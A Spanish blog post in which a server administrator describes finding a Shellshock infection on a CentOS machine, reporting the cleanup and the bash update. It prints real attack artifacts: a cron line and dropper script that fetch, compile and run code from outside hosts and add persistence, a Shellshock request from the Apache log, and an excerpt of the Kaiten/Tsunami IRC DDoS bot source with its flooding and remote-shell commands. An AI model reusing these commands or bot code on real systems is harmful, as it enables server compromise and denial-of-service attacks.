LINUX: wget stablehost.us/bots/regular.bot etc en nuestro cron es un troyano
Aviso: Esto no es una solución, son datos que te pueden ayudar a solucionarlo.
Hoy, me he encontrado con que en el cron de mi CentOs me faltaban tareas, y que además había una muy sospechosa:
1 |
wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2&1 |
Investigando en las siguientes webs encontré que se trataba de un troyano/malware que ha aprovechado la reciente vulnerabilidad shellshock llamado Linux.Backdoor.Kaiten o Tsunami Bot
Enlaces/fuentes que me han ayudado:
– http://infosecnirvana.com/shellshock-hello-honeypot/ (Datos sobre el malware)
– http://rm-rf.in/post/98621485262/shellshock-test-the-vulnerability (Para arreglar la vulnerabilidad)
– http://security.stackexchange.com/questions/16908/is-secureshellz-bot-a-virus-how-does-it-work
En mi servidor CentOs pude recoger algunos datos:
- Linea de cron especificada anteriormente
- Archivo /tmp/.pwn
- Proceso .c en el top
- Log en apache
Lo más interesante es el archivo /tmp/.pwn cuyo contenido es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
wget http://www.computer-services.name/b.c -O /tmp/b.c; curl -o /tmp/b.c http://www.computer-services.name/b.c; fetch -o /tmp/b.c http://www.computer-services.name/b.c; wget http://www.computer-services.name/b.c -O /tmp/.c; curl -o /tmp/.c http://www.computer-services.name/.c; fetch -o /tmp/.c http://www.computer-services.name/.c; gcc -o .d /tmp/b.c chmod +x /tmp/.c /tmp/.c /tmp/.d rm -rf /tmp/.a /tmp/b.c /tmp/.c /tmp/.d echo "@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2&1" >>/tmp/c crontab /tmp/c rm -rf /tmp/c |
Aquí vemos como se conecta a una serie de servidores de los que descarga el malware en cuestión del que pondré un fragmento abajo de este post. A continuación lo compila con gcc y asigna permisos a directorios en /tmp, lo extraño es que después elimina los archivos descargados.
Después en el log de apache /etc/httpd/logs/access_log encontré como se ejecuto el comando inicial así como la IP atacante:
1 |
121.9.244.212 - - [28/Sep/2014:06:17:43 +0200] "GET / HTTP/1.0" 200 32624 "-" "() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\"" |
Ahora bien, ¿qué es lo que he hecho?
He actualizado el bash para que no vuelva a pasar
He eliminado:
– La tarea de cron
– El archivo /tmp/.pwd
Y por último he decidido actualizar los servidores.
Este post no está completo, si consigo más información lo terminaré.
Os dejo el fragmento de código del malware donde se ve que entre otras cosas abre un canal IRC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 |
/******************************************************************************* * This is a IRC based distributed denial of service client. It connects to * * the server specified below and accepts commands via the channel specified. * * The syntax is: * * !<nick> <command> * * You send this message to the channel that is defined later in this code. * * Where <nick> is the nickname of the client (which can include wildcards) * * and the command is the command that should be sent. For example, if you * * want to tell all the clients with the nickname starting with N, to send you * * the help message, you type in the channel: * * !N* HELP * * That will send you a list of all the commands. You can also specify an * * astrick alone to make all client do a specific command: * * !* SH uname -a * * There are a number of commands that can be sent to the client: * * TSUNAMI <target> <secs> = A PUSH+ACK flooder * * PAN <target> <port> <secs> = A SYN flooder * * UDP <target> <port> <secs> = An UDP flooder * * UNKNOWN <target> <secs> = Another non-spoof udp flooder * * NICK <nick> = Changes the nick of the client * * SERVER <server> = Changes servers * * GETSPOOFS = Gets the current spoofing * * SPOOFS <subnet> = Changes spoofing to a subnet * * DISABLE = Disables all packeting from this bot * * ENABLE = Enables all packeting from this bot * * KILL = Kills the knight * * GET <http address> <save as> = Downloads a file off the web * * VERSION = Requests version of knight * * KILLALL = Kills all current packeting * * HELP = Displays this * * IRC <command> = Sends this command to the server * * SH <command> = Executes a command * * Remember, all these commands must be prefixed by a ! and the nickname that * * you want the command to be sent to (can include wildcards). There are no * * spaces in between the ! and the nickname, and there are no spaces before * * the ! * * * * - contem on efnet * *******************************************************************************/ //////////////////////////////////////////////////////////////////////////////// // EDIT THESE // //////////////////////////////////////////////////////////////////////////////// #define STARTUP // Start on startup? #undef IDENT // Only enable this if you absolutely have to #define FAKENAME "-bash" // What you want this to hide as #define CHAN "#pwn" // Channel to join #define KEY "bleh" // The key of the channel int numservers=1; // Must change this to equal number of servers down there char *servers[] = { // List the servers in that format, always end in (void*)0 "x.secureshellz.net", (void*)0 }; //////////////////////////////////////////////////////////////////////////////// // STOP HERE! // //////////////////////////////////////////////////////////////////////////////// #include <stdarg.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <strings.h> #include <netinet/in.h> #include <unistd.h> #include <sys/time.h> #include <sys/socket.h> #include <signal.h> #include <arpa/inet.h> #include <netdb.h> #include <time.h> #include <sys/wait.h> #include <sys/ioctl.h> int sock,changeservers=0; char *server, *chan, *key, *nick, *ident, *user, disabled=0, execfile[256],dispass[256]; unsigned int *pids; unsigned long spoofs=0, spoofsm=0, numpids=0; int strwildmatch(const char* pattern, const char* string) { switch(*pattern) { case '\0': return *string; case '*': return !(!strwildmatch(pattern+1, string) || *string && !strwildmatch(pattern, string+1)); case '?': return !(*string && !strwildmatch(pattern+1, string+1)); default: return !((toupper(*pattern) == toupper(*string)) && !strwildmatch(pattern+1, string+1)); } } |
Está recortado, en total tiene unas 985 líneas.